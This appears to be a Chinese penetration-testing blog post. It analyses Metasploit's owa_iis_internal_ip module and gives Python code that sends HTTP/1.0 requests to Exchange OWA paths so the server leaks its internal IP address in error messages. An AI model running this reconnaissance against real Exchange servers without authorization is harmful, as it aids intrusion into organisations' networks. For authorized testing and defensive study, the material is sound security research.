0x00 前言在滲透測試中,為了蒐集信息,常常需要從外網獲得Exchange服務器的內網IP,公開資料顯示msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持這個功能,但是這個插件公開於2012年,已不再適用於Exchange 2013、2016和2019,本文將要介紹一種更為通用的方法,開源代碼,記錄細節。
0x01 簡介本文將要介紹以下內容:
owa_iis_internal_ip插件介紹
更為通用的方法
Python開源代碼
0x02 owa_iis_internal_ip插件介紹msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持探測Exchange服務器的內網IP,對應kali系統下的位置為:/usr/share/metasploit-framework/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb
github上的地址為:https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb
通過閱讀源碼,可以總結出實現原理:
設置HTTP協議為1.0並訪問特定URL
在返回數據中,如果狀態碼為401,在Header中的'WWW-Authenticate'會包含內網IP
在返回數據中,如果狀態碼位於300和310之間,在Header中的'Location'會包含內網IP
在提取IP時,使用正則表達式(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}),這裡存在bug:只能篩選出格式為'192.168.*.*'的內網IP
為了修復這個bug,可以將正則表達式修改為([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})
注:
修改插件後需要執行命令reload_all來重新加載msf插件
修復上面的bug後,我在測試Exchange 2013、2016和2019時仍然無法獲得準確的內網IP
0x03 更為通用的方法這裡給出一種基於owa_iis_internal_ip插件的方法,使用Python實現,適用範圍更廣
思路如下:
利用Python設置HTTP協議為1.0並訪問特定URL,在報錯結果中暴露出Exchange服務器的內網IP
需要細節如下:
(1)Python設置HTTP協議為1.0
Python2:
importrequests
importhttplib
httplib.HTTPConnection._http_vsn=10
httplib.HTTPConnection._http_vsn_str='HTTP/1.0'Python3:
importrequests
fromhttpimportclient
client.HTTPConnection._http_vsn=10
client.HTTPConnection._http_vsn_str='HTTP/1.0'(2)設置訪問URL
owa_iis_internal_ip插件中提到的URL:
urls=['/Microsoft-Server-ActiveSync/default.eas',
'/Microsoft-Server-ActiveSync',
'/Autodiscover/Autodiscover.xml',
'/Autodiscover',
'/Exchange',
'/Rpc',
'/EWS/Exchange.asmx',
'/EWS/Services.wsdl',
'/EWS',
'/ecp',
'/OAB',
'/OWA',
'/aspnet_client',
'/PowerShell']經過多個環境的測試,更為精確的URL如下:
urls=['/OWA',
'/Autodiscover',
'/Exchange',
'/ecp',
'/aspnet_client'](3)測試代碼
#python3
importrequests
importurllib3
urllib3.disable_warnings()
fromhttpimportclient
client.HTTPConnection._http_vsn=10
client.HTTPConnection._http_vsn_str='HTTP/1.0'
try:
url='https://mail.test.com/OWA'
response=requests.get(url,verify=False)
print(response.status_code)
print(response.text)
print(response.headers)
exceptExceptionase:
print(e)回顯結果:
HTTPSConnectionPool(host='192.168.1.1', port=443): Max retries exceeded with url:/owa/auth/logon.aspx?url=https://192.168.1.1/OWA/reason=0 (Caused by NewConnectionError('
從報錯信息中,我們可以看到Exchange服務器的IP,這裡只需要加一個正則表達式host='(.*?)',即可提取出來IP
0x04 開源代碼完整的實現代碼已上傳至github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetInternalIP.py
代碼支持5種方式探測內網IP
目前測試結果顯示,該腳本支持Exchange 2010、2013、2016和2019,能夠穩定獲得內網IP
0x05 小結本文分析了msf的auxiliary/scanner/http/owa_iis_internal_ip插件,對於獲得Exchange服務器的內網IP,給出了一個更為通用的方法,開源代碼,記錄細節。